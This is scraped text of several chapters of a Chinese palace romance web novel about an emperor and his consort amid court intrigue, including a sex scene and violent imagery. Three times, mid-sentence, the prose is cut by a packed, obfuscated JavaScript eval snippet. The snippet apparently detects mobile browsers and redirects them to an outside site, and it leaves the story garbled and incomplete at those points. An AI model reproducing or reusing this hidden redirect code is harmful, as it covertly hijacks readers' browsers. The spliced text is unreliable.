话音刚落,他的手腕被一道力气锁住,倏地往前一拽,逼得他不得不朝帝王靠近,随着燕赫俯身,两人的距离被迫拉近,气氛却没有丝毫暧昧,反而叫人胆颤心惊。 他摸不准燕赫的脾性,又不知他发疯时会做什么,只能快速表明立场道:“微臣并无不臣之心,陛下明鉴。” 燕赫的神情毫无波澜,“云泽,别忘了今夜是谁把你接回来的。” 他言语虽亲昵,可说出的话却叫人背脊发凉。 兰沉听懂他的言外之意,是在提醒他对宴席中事皆了如指掌。 可即便如此,报仇一事岂能宣之于口,何况兰玉阶如今已贵为六部之首,想要复仇谈何容易?眼下面对燕赫的质问,他又该如何洗清嫌疑?若无法取得燕赫的信任,将来他又如何出宫行事? 思来想去,兰沉决定先以保命为上,打算挣脱燕赫的手跪下求饶。 可万万没想到,燕赫把他攥得更紧,他适才又并未多想,挣扎的力气颇大,如此一扯,毫无防备的两人身子踉跄,兰沉整个人紧跟着扑向燕赫,又逢浴室地面湿滑,他往前倒去之际,竟把燕赫往浴池里推了一把,紧接着两人双双倒向水面。 糟了! 兰沉惊呼,“陛下!” 燕赫未料他会施力反抗,身子失重时眼底也划过意外,眼看即将落水,他迅速把人抱紧,“别呼吸!” “扑通——”一声,浴池的水花蓦地绽放,向四周轰然炸开,整个浴室的地面瞬间被浇湿。 兰沉入水前听见燕赫的喊声,莫说是呼吸了,口鼻都闭得紧紧的,随着温热的池水包裹全身,他潜意识伸手去抓东西自救,以至于何时出水了都不知。 连绵的滴水声回荡在偌大的浴室内,他的耳朵嗡鸣,什么都听不见,唯独感觉后背的温度和身前的不大一样。 身前的似乎更热一点,而且更硬一些,触感还有点......软乎? 一个荒诞的念头从他脑海里闪过,他猛地睁开眼,果不其然,他被燕赫抱着,而自己的双手,居然胡乱抓着对方的里衣,稍微动一动,便能触及里衣下挺拔的身材。 好嚣张的姿势。 兰沉一动不敢动,不仅因情形尴尬,更因两人身子紧贴,有些变化心知肚明,实在令他难以面对,还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730313|157270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如坐以待毙。 燕赫在他不安分乱捏时便失了耐心,克制着最后一道防线,垂眸打量他的动静,虽未见他乱动,但那双红透的耳廓却出卖了他。 其实他们时常负距离接触,但兰沉总是平静冷淡,哪怕失控了都忍声不发,殊不知激得破坏欲徒增,今夜初次见他如此失态,倒别有一番趣味,实在不能怪人把持不住。 燕赫故意掂了掂手里的薄腰,让两人的身体有了更明显的接触,声音喑哑道:“蓄意谋杀亲夫,罪加一等。” “我没有!”兰沉果断回道,抬眼看向燕赫时,双手又抓紧了明黄的里衣,显然对未知的处境感到提心吊胆,全然没了平日的沉着冷静。 燕赫轻哂一笑,“不敢得罪也得罪了,你若不想死,孤倒有一个好办法。” 兰沉紧张看着他,浑身如被蚂蚁啃噬,难耐不适,只能咬着牙道:“请陛下明示。” 燕赫却不着急说,反而垂着头在他脖颈细细轻嗅,像观察着猎物似的,高挺的鼻尖若有若无扫过他的肌肤,仿佛下一刻便要咬破他的脖颈,尝尽他的鲜血。 如此怪异的举止,令兰沉的身子愈发紧绷着,抓着里衣的双手轻微颤抖,努力保持镇定续道:“若陛下需要微臣,微臣也会万死不——嘶!” 脖颈一阵刺痛传来,果不其然,他还是被咬了。 不知为何,悬着的心居然有片刻放松,与其不断揣度燕赫的心思,他情愿燕赫早些作出行动,省得他战战兢兢。 燕赫叼着他耳下的软肉,想到那把匕首,眼神晦暗,嗓音含糊道:“不如全部杀了。” 兰沉闻言一愣,恍然间生了一丝燕赫要助自己的念头,可这样大胆的猜想却让他惴惴不安,他想向燕赫追问所杀之人,想得到一个笃定的答案。 然而,燕赫却不给他机会了。 浴室的温度骤然升高,波光粼粼的水面起伏不断,池水断断续续撞出池外,细碎的声音淹没在水浪中,不堪入目的画面里满是泥泞。 兰沉不记得被折腾了多久,他从未感受过这样的燕赫,明明可以放肆,却偏偏在克制。 他们打破了从前的沉默,在他咬着唇承受时,燕赫用只言片语化解了他的紧张,让他得到了新的体验。 他将这一切变化归咎于初次在水中尝试。 可惜他身子羸弱,未能坚持多久便失了意识,朦胧间白皙的双臂仍挂在燕赫肩上,隐约看到一双欲求不满的眼眸。 回想今夜种种异样,他想起李锦司大骂燕赫偏心一事时,心头莫名悸动了下。 倘若他们是真心相爱之人,以平日相处的方式,燕赫的确是一位很好的伴侣。 可兰沉不能,他曾为兄长义无反顾却换来背叛,即使入宫,他也只是尽侍奉之职,不敢有一丝逾矩。 他和燕赫终究殊途陌路,待他杀了兰玉阶,这内宫也容不下冠了兰氏的他,若燕赫能绕他一命,从此他便远离金陵城,若不能,他便安分守己直到殉葬,也不会对燕赫动一丝妄念。 天光微亮,直到他快要昏睡时,方觉身子沾了床榻,迷迷糊糊之间,只听见脚步渐行渐远的声音。 他想透过床帏看清楚,可疲惫的眼帘却阻止了一切,唯有熟悉的龙涎香弥漫在殿内,四周静谧无声。 燕赫似乎已离开,偌大的房子里,好像又只剩他一人了。 沉睡前,他心想已经习惯了。 7. 第 7 章 太极殿外,飘雪坠入长廊,深蓝的天边被一抹朝阳撕开。 燕赫随意披着长袍便出了门,但他没有目的地,只是在游廊下随意瞎晃,腰间别着翡翠佛念珠串,在行走间发出细碎的碰撞声,帝王神色晦暗,眼底布满戾气,衣着单薄任由风雪侵身亦不为所动,宛如深宫的孤魂野鬼似的。 片刻后,廊下传来窸窣的脚步声,燕赫侧目望去,见满头白发的苏公公向自己小跑而来。 “哎哟陛下,这天儿冻得呛人,您可别得了风寒伤身子啊。”苏公公边说边递上大氅给他披上,转眼却被突如其来的朝歌给吓一跳,“哎哟我说朝歌,你可要吓死老奴了。” 朝歌朝他嬉皮笑脸,紧接着上前行礼,见苏公公在此,率先问道:“苏公公,兰公子可醒了?” 苏公公盯着帝王手脚利索系好氅衣后,挪到一边站着,笑道:“兰公子可被折腾坏了,这会儿正睡得香呢。” 话音落下,苏公公发现朝歌并未接话,而是沉默看着自己,眼神里透露出一种“这并非关键消息”的含义,所以两人大眼瞪着小眼一会儿,忽地苏公公才一拍脑袋,记起朝歌所言何意,连忙低头靠近燕赫,如实禀报道:“陛下离开太极殿时,崇王府的人也跟着走了。” 他口中所指的是崇王府安插在内宫的眼线,这些眼线长此以往盯着前朝内宫,才使得燕赫谨慎行事。 苏公公话落,便瞧见燕赫循声看来,眼底的厌恨这才消散几分。 见状,苏公公悄然松了口气,也委实给自己捏了把汗,要怪就怪这朝中风气使然,帝王登基时,金陵城把崇王看得比帝王还重,只因燕赫登基不久出现失控杀人,幸得崇王出手制止,此后朝中忽传出帝王患有疯病,不久便由崇王辅佐朝政,避免庸政。 然而,崇王府的手不仅伸到前朝,更触及内宫,凡侍寝之人,皆被眼线禀报给崇王,短短数年,几乎要将这位帝王内外架空,并有取而代之的势头。 朝歌道:“主子,昨日你出宫见兰公子,又让他留宿太极殿,崇王恐怕会盯上公子。” 燕赫缓步走向长廊的美人靠,挥起大氅便坐了下去,取出腰间的翡翠佛念珠串把玩,搭着眼帘道:“他们只会觉得,这些受宠是来自兰玉阶的升迁。” 他甩动着手里的珠串,珠串的碰撞声显得更为刺耳。 朝歌不解问道:“主子此话怎讲?” 燕赫将珠串反复甩在自己掌心里,声音沉沉,“崇王府的腰牌何等重要,李锦司无权无势,能取得这枚腰牌多亏给兰玉阶当跑腿,真正和崇王府有关系的,是兰氏。” 朝歌和苏公公闻言皆惊,朝廷最忌结党营私,虽然言官对崇王府辅佐一事颇有微词,但数年来却抓不到崇王府勾结党羽的证据,且帝王性子阴晴不定,言官对他动不动就杀人的行为有所忌惮,认为只有崇王能制止,渐渐的,对崇王府也睁一只眼闭一只眼,即使要弹劾,也只冲着其他官员指桑骂槐。 眼下听闻崇王府落了把柄,苏公公不由欣喜,“恕奴才不才,照陛下说来,可否能借机折了崇王的党羽,让陛下重掌大权?” 苏公公敢这般直言,只因他是先帝留下伺候燕赫的宦官,私下敢于议政,都是燕赫默许的权力。 但朝歌却道:“苏公公说得轻巧,崇王府以辅佐名义把持朝政数年,岂是说折就折,恐怕此事要从长计议了。” “从长计议?”燕赫嗤了声,停下甩珠串的动作,眸色染上一层杀意,挺拔的身子背朝日出,脸庞笼罩在阴沉之中,仿佛被黑暗所吞噬,压抑遍布周身,“这群人已经等不及了。” 两年了,其实他也等不及了。 从前他被牵制,那是因为无所谓,现在不一样了,属于他的东西,他不想给,谁都拿不走。 朝歌从他的话中听出危险,顿时肃然,“主子,可有任务委派属下?” 燕赫垂眸盯着手里的珠串,须臾后唤了声苏公公,“把孤的腰牌拿来。” 苏公公摸了摸袖口,从中取出一枚御令交给朝歌。 见状,朝歌慎重接过,认真的脸庞上带着一种年少老成的气势。 燕赫斜睨他一眼,“交给兰云泽。” 朝歌神情顿住,看了看手里的腰牌,确认是帝王的无虞,略带愕然道:“交给兰公子?” 这么重要的东西,莫说是随意出宫,即便假传口谕都可以了,方才说了兰氏和崇王府勾结,眼下还把腰牌交给兰氏之人,主子莫不是疯了不成。 燕赫回想起那把匕首,心底竟生了迫切,想知道兰沉的心意何在,“不仅如此,你还要提醒他,有了此物,从此可随意出宫。” 若兰沉得到腰牌,会为了什么而出宫呢? 朝歌担心宫闱中人窃权乱政,危害主子的安危,“主子想借此抓兰氏内外勾结的证据,让兰玉阶身败名裂?” “让兰玉阶身败名裂?”燕赫一字一句重复,心里却想着兰沉的安危,他何须兰沉冒险,“身败名裂是迟早的事,但兰玉阶若死,恐有人伤心欲绝恨死孤。” 朝歌道:“我看谁敢如此放肆?” 燕赫瞥了眼不开窍的他,懒得回答,只倚在美人靠上,静静看他何时离开。 此刻朝歌纵然有千万个疑惑不解,都只能屈服在主子的眼神下,不得不收起腰牌,乖乖转身朝太极殿而去。 霞光万道,神霄绛阙,冰消雪融,却难化人心险恶。 苏公公掐着时辰问道:“陛下,该早朝了,可要回太极殿更衣?” 燕赫将珠串抛给他,起身时突然反问道:“你觉得孤要去吗?” 苏公公想到那些阴魂不散的眼线,眯着眼笑道:“奴才岂能揣度明白圣意,或许是那兰公子......侍奉不周。”不去的话,兰沉反倒是安全。 但他话锋一转又说:“不过,奴才听闻昨儿个来了几位身段好的伶人,性子安分,奴才已命内务府备酒菜在月影楼了。” 燕赫想到用这些戏码去应付眼线,脸色愈发难看,挥手随他安排去了。 日上三竿时,太极殿里传来动静,在殿内静候一上午的朝歌循声看去,瞧见满脸疲色的兰沉款款走来。 尽管兰沉已经费尽心思整理了仪容,但还是挨不住朝歌的洞察,只能轻咳两声掩饰尴尬,却发现自己喉咙生疼,连说话都费劲。 昨晚明明没怎么喊,但持续不断的呜咽也足够叫他失声了。 两人迎上前行礼,朝歌默不作声给他递了腰牌,接过后才辨别出此乃何物。 他不知燕赫为何要给自己重赏,还是说别有用意,他想向朝歌问清楚时,却见朝歌摇头。 两人立在偏殿前,隔着一扇门是前殿,如若细听,能辨别出有朝政的交谈声。 兰沉拿着腰牌沉默良久,收起腰牌后告辞离开。 出了太极殿,他被寒风吹得一个哆嗦,喉咙不知为何有些发痒,忍不住掩嘴咳嗽了几声,与此同时,余光见一宫女追了上来,来人正是他长乐殿的宫女元汐姑姑。 元汐抱着大氅小跑到他面前,听见他的咳嗽声后面露担忧,“公子可要回长乐殿,奴婢给去请太医给公子把把脉?” 说话间,她还从袖中掏出几枚梨膏糖。 兰沉披好大氅,接过梨膏糖吃下一颗润喉,摆手示意不用太医,又瞧见贴身的太监不在,问道:“长乐殿出了事?” 元汐道:“昨日内宫进了几位伶人,人手不够便遣了小青子去打理了。” 听闻有新人入宫,兰沉的心中并无波澜,若有人伺候燕赫,自己也能闲下来处置宫外之事。 入宫以来,他一直把自己和伶人放在同样的位置上,只需尽侍奉的责任,不争不抢方能活着。 但思及此,他的脑海里闪过昨夜燕赫所言。 “杀了所有人.....”兰沉小声呢喃。 不料被元汐听得一清二楚,吓得她连忙左顾右盼,瞧见太极殿附近没人才敢呼吸,随后满脸惊恐低声道:“公子,不可胡说啊,这可是在前朝。” 兰沉知她被自己吓着,回了个安抚的笑道:“姑姑莫怪,这只是......”他犹疑了下,还是选择如实相告,“此言出自陛下口中。” 话落,更把元汐吓得不清,她在内宫侍奉主子十余载,大小官人见过不少,但敢这般狂言的主子还是头一次见。 好在她侍奉兰沉两年,多少了解这主子的性子,绝非是口无遮拦之人,而她作为女子,心思更加敏锐些,明白兰沉不是在胡说八道,想必其中有难言之隐。 但即便如此,她作为下人自然不能追问,却也有劝谏的责任在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兰玉阶闻言神情平静,面不改色道:“虽不知你从何打听的戏言,但你若不放心,为兄到时候随你回家一趟便是了。” 兰沉见他如此淡定,明白他是不会承认此事,无论事实如何,也不影响他心中的厌恶越发加深,他忍不住去想,兰玉阶看着长姐眼睁睁死在眼前时,是否如眼前这般冷漠无情。 他不敢往深处想,省得影响了今晚的食欲,只道:“李锦司相告于我,至于说了多少,兄长自行问他便是,毕竟他为兄长所管不是吗?” 兰玉阶温声笑了笑,欲回话之际,眼角的余光见一抹行色匆匆的人影。 两人转眼看去,来人是兰氏随从,上前行礼后并未禀报,只是面色焦灼看着兰玉阶。 直到兰玉阶示意他不必见外,兰氏随从这才低声说:“家主,李锦司失踪了。” 话音刚落,兰沉眉梢一蹙,回首看向兰玉阶。 兰玉阶嘴角的笑容依旧,只是眼底略带意外,随后和兰沉相视一眼,掂了掂手里那枚崇王府的腰牌,无奈道:“云泽,为兄都站在你面前,你还不相信这些事与我无关吗?” 不过一日,未料李锦司竟会出事,正如兰玉阶所言,哪怕想怀疑也毫无线索,且不说此人今日在太极殿议政,眼下还站在面前,想动手杀李锦司都分身乏术。 昨夜私见李锦司一事隐秘,除非有人未卜先知,否则李锦司绝不敢将腰牌的事情抖出去,此事疑点重重,偌大金陵城脚下,李锦司到底还揣着什么秘密,才不惜让人连夜处置了他? 兰玉阶见他不语,细细打量他,目光突然停在他白皙的脖颈处,那里有一抹不易察觉的咬痕,至于从何而来,又何须细想,刹那间,兰玉阶柔和的眸光里划过厉色,他压下心底的不甘道:“天色不早了,早些回宫歇息吧。” 兰沉垂着眼帘默不作声,等着兰玉阶先行一步再离开,却见一只手伸向自己的大氅,他揣在袖口的手倏地伸向藏着的匕首。 但兰玉阶只是为了给他梳理衣摆,那动作轻车熟路,就像从前做过无数遍似的。 两人比方才离得还近,兰玉阶窥着他细腻的肌肤,压着声音温声道:“云泽听话,为兄只想补偿你,三日后为兄会在宫外等你,若你愿意,你想知晓的一切,为兄都可以告诉你。” 8. 第 8 章 岁暮天寒,皇宫金碧辉映,今夜无雪,却依旧寒风萧瑟,宫道空无一人。 兰沉并未回答兰玉阶的话,转身便离开了,此时踩着扫净的宫道朝长乐殿而去,燕赫给的紫金腰牌被他握得生暖,他还在思考着兰玉阶到底有何目的,李锦司为何而死,又是否与兰玉阶有关。 奈何思来想去只有一阵阵的头疼,他的身子有些发寒,伸手收拢了些身上的大氅,叹气间白雾自口中而出,最终消散在冬夜的寒风中。 眼看长乐殿将到,他抬眼看去时,第一眼却是看到高耸入云的月影楼,高楼自皇宫中拔地而起,又是灯火辉煌时,自然容易夺人眼球,远观仿佛还能隐约听见丝竹管弦声,不知又是何人在为燕赫献舞。 兰沉不慎吸了口冷气,顿时低声咳嗽起来,他知晓身体的异样在警告自己,眼下有许多事尚未清明,他不能轻易倒下。 他偏头对元汐说道:“烦请姑姑为我请一请太医。” 元汐一听,心里的担心再也压不住,连忙说道:“奴婢这就给公子请太医。” 兰沉目送她离开后,朝长乐殿的方向回去,夜色沉沉,殿门就在转角前方,他绕过宫道时,脚步蓦地顿住,眼底略带疑惑看着前方之人。 “苏公公?”兰沉走快两步,“公公不是在月影楼伺候陛下吗?” 苏公公笑脸盈盈说道:“兰公子有所不知,陛下命老奴来召公子前去赏舞呢。” 兰沉愣了愣,“赏舞?” 苏公公往月影楼的方向抬手,示意边走边说。 抵达月影楼前,兰沉卸下大氅,下一刻便瞧见苏公公伸手接过,他手里的动作顿了下,见苏公公笑着颔首表示无妨,只好松了大氅。 正当他要起步上楼,竟听见苏公公提醒道:“公子的座位在陛下身侧。” 兰沉静静看了苏公公一会儿,随后回礼上楼,不过当宴会出现在眼前时,他却没有找到苏公公口中所指的座位,倒是瞧见独自饮酒的燕赫倚在上位,仿佛这场宴席和他毫无关系似的,唯有起舞的伶人兀自期待,等着被垂怜。 他出现时,燕赫率先捕捉到他的身影,原本在喝闷酒的动作停了下来,慢悠悠抬眸,视线穿过伶人落在那抹清癯的身影上。 两人就这么隔空对视片刻,随后他抬了抬下颚,示意兰沉过来,搁下酒杯的同时还挪了挪身子,空出可以容纳一人的位置出来,等兰沉到了面前后,他乜斜了眼自己身侧。 兰沉还没来得及行礼,便察觉投来的视线,眼神的意思不言而喻,原来这就是苏公公口中的座位,只是他不敢冒然上前,毕竟是和帝王平起平坐,难免叫有心之人多想。 燕赫见他一动不动,心情被礼乐的氛围带得有些高涨,难得调侃道:“昨夜不是还坐在孤的身上吗?” 兰沉适才还在想该不该坐,这下好了,被燕赫众目睽睽之下发问,所言又这般露骨,让人听着都有些吃惊,连护在一侧朝歌都愣住了。 主子一向目中无人惯了,若非临幸兰沉,他都怀疑主子断情绝爱,何曾向这般调戏过内宫面首。 四周有听闻此言之人都好奇看来,比起帝王的调侃,让这些人更惊讶的是兰沉落座在帝王身边。 当兰沉坐下后,宴席上的众人神色各异,刚入宫的伶人下意识以为他在内宫最为受宠。 实际上,在旁人眼中,内宫最受宠的其实另有其人,兰沉能得到圣眷,宫人只会以为他是因为兰玉阶高升才破例。 但无论内宫如何传言,向来对兰沉来说无关紧要,因为他对燕赫并无夫妻之情,有的都是君臣,何况他如今心思都放在了宫外,对于内宫之事,他从前不争宠,日后更不屑。 直到他落座燕赫身边后暗自吐了口气,以往宴席,都不必他侍奉君侧,迫于经验有限,他只能让自己看上去很忙,忙什么不重要。 当太监捧着一小碟梨膏糖放在面前后,他抬手就去取,埋头便吃了起来,和燕赫看起来更像临时凑一起的吃饭搭档。 可他越是这样,一旁打量他的燕赫便越发来了兴致。 从前无需兰沉在侧伺候,是因为崇王府的眼线作祟,他懒得迂回善后便逢场作戏,现在众人认为兰沉得了恩荫受宠,他索性顺水推舟,想怎么来就怎么来。 只是他扫过兰沉所坐的位置,幽深的眼眸里划过一丝疑惑,明明有足够的地方坐,可兰沉偏要在中间留一条江河大的缝隙,这是生怕和自己沾染上吗? 他观察着兰沉一粒接着一粒吃梨膏糖的模样,动作看似慢悠悠的,实际剥糖的手指都在发颤,像在宫里遇到的小动物,小心翼翼又手忙脚乱,除了不敢东张西望以外,那股担心被发现的心思和眼前的兰沉别无二致。 兰沉察觉他打量的目光,脑子里就像装了浆糊,完全不知接下来该做什么,倒酒?柔弱无骨倒在燕赫怀里喂酒?一声声喊着陛下再来一口? 思及此,他遽然一阵寒颤,难以想象这张阴沉骇人的脸上能出现喜色,指不定他不慎把酒洒了,人也没了。 他实在不想招惹燕赫不快。 兰沉内心暗自叹气,非要谈到伺候人,他只在榻上伺候过燕赫,离开了床榻,他过去从未侍奉左右,更别提对燕赫的了解,难以置信,下榻的他们竟如同陌生人。 回想过去他参加过的宴席,燕赫身边除了苏公公便是朝歌,这内宫倒是还有一位面首。 传闻此人在自己入宫前便深得燕赫喜爱,燕赫几乎夜夜留宿其宫中,性子嚣张跋扈燕赫也视而不见,当年兰沉入宫被宠幸后,帝王未曾留宿一事也是被此人传开。 想到这里,兰沉掀了眼帘,扫了一圈宴席,怎么也不见那位面首的身影。 照理说,此人从未缺席过内宫的宴席,每逢设宴,都会借斟酒的方式贴近燕赫,想尽一切办法讨燕赫欢心,今晚倒是意外,难不成是此人不在,燕赫才会召自己前来? 兰沉笃定了自己的想法,也试图作出一些改变,此刻他除了吃,便时刻留意燕赫是否要喝酒,总之他一定会倒满的。 说时迟那时快,转眼他的余光里出现一只手,骨节分明的手指伸向桌上的酒杯,眼看燕赫酒杯空空,兰沉手疾眼快拎起桌上的酒壶,生疏而急速地为酒杯斟满了酒。 他仔细盯着酒杯,在清酒溢出之前抬起壶嘴,欲撤开酒壶时,耳朵忽地发酸,一阵麻木自耳后蔓延至整颗脑袋,让他浑身一僵,拎着酒壶的手抖了下,一滴清酒落入酒杯,原本杯子的水恰到好处并未洒出,却被这滴酒惊洒四溢。 他的注意力从酒杯转移至贴近的燕赫身上,他不解燕赫为何突然靠近,大庭广众下这般亲近让他刚到无所适从,耳廓跟着发烫,脑海快速闪过昨夜香/艳的画面。 燕赫的手从杯身离开,缓缓向上握住拎着酒壶的手,贴着他的耳朵低声道:“别紧张,孤又不会在这对你做什么。” 他握着兰沉的手把酒壶放下,凌厉的眉眼藏着暗芒,心无旁骛端详着眼前的脸颊,目光就像无形游移的蛇身,缓慢而隐秘爬行在兰沉身上。 每逢被他盯着,兰沉都会有提心吊胆的感觉,浑身仿若跌入潮湿的深谷中,此刻犹甚,被燕赫贴近的半边身子像冻僵了,只能牵强撤出一抹笑,“能服侍陛下,乃微臣之幸。” 燕赫怎会听不出此言恭维,奈何实在想看昨日那个心狠手辣的他,虽然此刻又化作从前那副循规蹈矩、毫无生气的模样,但还是想试图逗弄一番。 “兰云泽。”燕赫慢慢朝他倾斜过去,一手撑在他的身后,远看像把他抱在怀里似的,连眼神都黏在他身上不放,给人一种好痴情的样子,“你在外人面前有说有笑,在孤面前从来都是这副规矩模样,哦不对......”说到此处,他故意顿了顿,玩味睨着续道,“昨夜在浴池里倒是活泼了。” “陛下!”兰沉倏地转头低声惊呼,嘴里的梨膏糖险些滑了出来,本来是想瞪一眼,立马又意识到这是帝王,连忙调整语气,垂眸咬牙回应,“陛下说得是。” 燕赫捕捉到他片刻间的所有变化,忽地冷笑两声,引来四周众人投来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然而,崇王府安插在宫中的眼线露出马脚,他知晓崇王监视自己,一旦抓到错处便在前朝无限放大,从而令他失了人心,更好掌控前朝。 至于内宫的面首,无一不被崇王府收买,但凡受宠的非崇王府之人,只能落得死无全尸的下场。 当时他玩心大起,毕竟兰沉不过是羞辱兰氏的棋子,怎么死都无所谓,所以他让兰沉二选一。 要么做,要么死。 不料这颗死气沉沉的棋子说道:“陛下,让我死在榻上如何?” 这样的回答让燕赫颇感意外,他从未想过有人会以这样的方式寻死,至于床笫之事,他向来无心触及,但面对兰沉所言,他竟破天荒提起兴致。 事实证明,两个毫无感情的人,在身体的交缠上也不会有所愉悦。 可他忍不住,忍不住索取兰沉的一切,吞噬掉他的呜咽,贪得无厌折腾这具和自己意外契合的身躯,让他一而再再而三地容纳自己。 直到偃旗息鼓之际,兰沉的啜泣却未曾停下,那声音并不欢愉,而是带着隐忍的悲痛,像被辜负了。 燕赫的耐心随着欲望告罄,他起身离开时,手指忽地被人握住,随后手心被塞了一把匕首,回首看去,只见兰沉操控着他的手,将刀锋抵在自己的脖颈。 “请陛下成全我一事。”兰沉声音沙哑而细微,微仰头时,猩红眼眶含着的泪水滚落,砸在了燕赫的手背上,只听见他无声续道,“杀了我吧。” 那样决绝的眼神让燕赫久久无法回神。 他冷眼望着兰沉绝望的神情,那通红的眼圈含泪,双颊还剩余欢后的一丝潮红,哭到泛红的鼻尖,被咬破的红唇,凌乱潮湿的青丝贴在额角,顶着惊艳的相貌却一心求死的姿态,落在燕赫眼中堪称人间绝色,让他无法移眼。 明明眼前的脸颊并无改变,依旧是那具让他欲罢不能的身躯,布满数不清的痕迹,能激起肆虐的心思,却叫帝王提不起任何欲望。 他生了一丝念头,从此要将兰沉的身心全部占为己有。 只是他未料阻碍竟是兰玉阶,堂堂名门望族中,居然藏着一段鲜为人知的禁忌秘闻,听闻他们的过往刻骨铭心。 半盅清酒惑长生,宴乐铮铮鼓骤停,一曲毕落,思绪竭尽。 此时此刻,燕赫瞥向兰沉的袖口,对载歌载舞毫无兴趣,他一早便知那里藏着匕首,但他真正想知道的,是兰沉为何要贴身携带它。 9. 第 9 章 兰沉顺着他的视线低头看向袖口,虽并未发现任何异样,但非要从中瞧出什么的话,那只能是...... 刹那间,匕首从脑海中闪过,兰沉眼底掠过惊诧,难不成燕赫发现他将匕首带在身上了? 且不说这匕首属于何人,除了朝歌,近天子身携带利器便是杀头大罪,自己一个内宫面首,一旦被发现,指不定要人头落地。 兰沉顿时清醒过来,他对燕赫有所忌惮,从先前要挟李锦司那件事来看,燕赫似乎很受用表忠之举,此时与其等着被发现,倒不如先一步请罪以表忠心。 思及此,兰沉蜷起手指欲将匕首取出献上,不料燕赫蓦地把他的手按住。 “怎么?”燕赫道,“只是让你看着孤罢了,别紧张。” 耳边是西域乐舞声绕耳,兰沉充耳不闻,暗滑喉头,“微臣没有。” 面前的案桌挡住众人的视线,旁人看来时,只会觉得两人琴瑟和鸣,鹣鲽情深,岂会注意到桌下几乎在博弈的细节。 兰沉顶着宴席投来的目光,极力表现镇定去面对燕赫。 此时此刻,燕赫的手正沿着他的手腕逐渐向上探索,虽然隔着衣袍,可兰沉却觉得,这双手如毒蛇似的贴着自己寸寸皮肤,悄无声息朝着匕首的位置游走。 那匕首藏在他的里衣中,只要燕赫再往上一点,握着他手臂的指尖便会触及到刀鞘。 兰沉的心像被提到了嗓子眼上,他想好了一切说辞,甚至计划好要请罪的姿势,只等燕赫触碰之际,他会立刻起身甩开,二话不说先跪了。 结果燕赫的动作突然停了! 停在离匕首只有半指距离的位置。 兰沉心头顿停,屏住呼吸快速扫了眼臂膀的大掌,眼底的慌张还未敛起,转而落入一双洞悉的瞳孔中,脸上的心虚映得明明白白,无处遁形。 燕赫将一切收尽眼底,对匕首的位置已有了猜测,尽管他在兰沉脸上看不到杀意,可得知午后兰氏兄弟二人相见,他心中的烦躁也逐渐涌了上来,这种情绪让人很不舒服。 两年前他得知兰沉贴身携带匕首时,他比任何人都好奇这把匕首的用处,奈何春去秋来,这把匕首都未曾出鞘,他一度怀疑这是兰沉的玩具,直到架在了李锦司的脖颈上,他不仅知道这匕首并非玩具,还是兰玉阶相赠兰沉的信物。 回想那把被兰沉握过的匕首,燕赫不禁心想,真是好剑。 可即便如此,燕赫还是停下揭穿的举动,此时取出来质问,对兰沉的处境而言显然不妥,但他内心的烦躁无处宣泄,难不成要忍着? 两人相觑半晌,忽然间,燕赫心血来潮想知晓他为何珍爱此物,若是因为兰玉阶,那不能随意棒打鸳鸯。 他会剥下兰玉阶的皮作柄,削了兰玉阶的骨作刀,给兰沉做无数把人皮白骨匕首,兰沉也许会开心的。 只见他的指尖隔着衣袍慢慢摩擦兰沉的皮肤,微眯了眯眼道:“兰云泽,孤忽然想起一事,你如实回答。” 兰沉扛着压力直视他的双眼,有种下一刻要被抽筋剥骨,之后被做成陈设品的错觉,“微臣不敢不言。” 他的声音很轻,轻到仿佛消失在繁奏声中。 燕赫语气缓缓,一字一句试探道:“孤有一把世间难得的匕首......” 一听“匕首”二字,兰沉的心几乎要从嗓子眼里跳出来,喉头再度滚了滚,紧盯着燕赫的面容,等着他把话说完。 “陛下。”突然一声羞赧的声音打断了对话。 兰沉一直沉浸在燕赫的眼神中,听见动静后受惊转头,快速从紧张的情绪里抽离,倒吸一口冷气平复心绪,注意力已经乱作一团。 四周众人都朝着宴席中央看去,唯独燕赫目不转睛凝视着兰沉,被打断时的不悦自眼底一闪而过。 伶人请求道:“陛下,此舞以酒仙为灵感所作,听闻仙人之酒寓言吉祥,可否让奴家为陛下献酒一杯?” 等兰沉寻回思绪时,忽地嗅到一缕香气飘来,才发觉是跳舞的伶人迎面上前,身着异域彩服,行走间似有香气萦绕,手里还端着一壶酒水,颇有风情。 兰沉转头时恰好看到他走来,两人莫名对视了一眼。 要说这伶人是冲着帝王而来,但看兰沉的眼神却十分古怪,让他有种冲着自己而来的错觉,不过,这个念头很快消失了。 因为燕赫竟破天荒答应了伶人的请求,“过来。” 充斥压迫的命令叫伶人受宠若惊。 此言一出,席上众人更是面露诧异,传闻帝王深不可测,更不会为美色所惑,所以伶人入宫时都提心吊胆,行事小心翼翼,生怕哪个举动惹得帝王不快招来杀身之祸,可眼下看来,传闻也未必可信,纵有美色当前,男人都是一副德行。 实际上,燕赫根本没去听伶人编排的话术,对伶人更不感兴趣,只是他冷眼扫向伶人时,捕捉到他神情怪异,要说是杀意却未尽然,所以他倒想看看这伶人有何目的。 伶人得了准允上前时,四周逐渐消声,将目光都投落他的身上,朝歌则是打起了十二分的精神,示意太监去验酒,以防主子遇刺。 众人都以看戏的心理目睹上方,今夜宴上的舞种和本朝的有所不同,听闻和西域有关,起舞途中会和观舞之人互动,但众所周知帝王阴晴不定,莫说互动了,就算是靠近也需莫大的胆量。 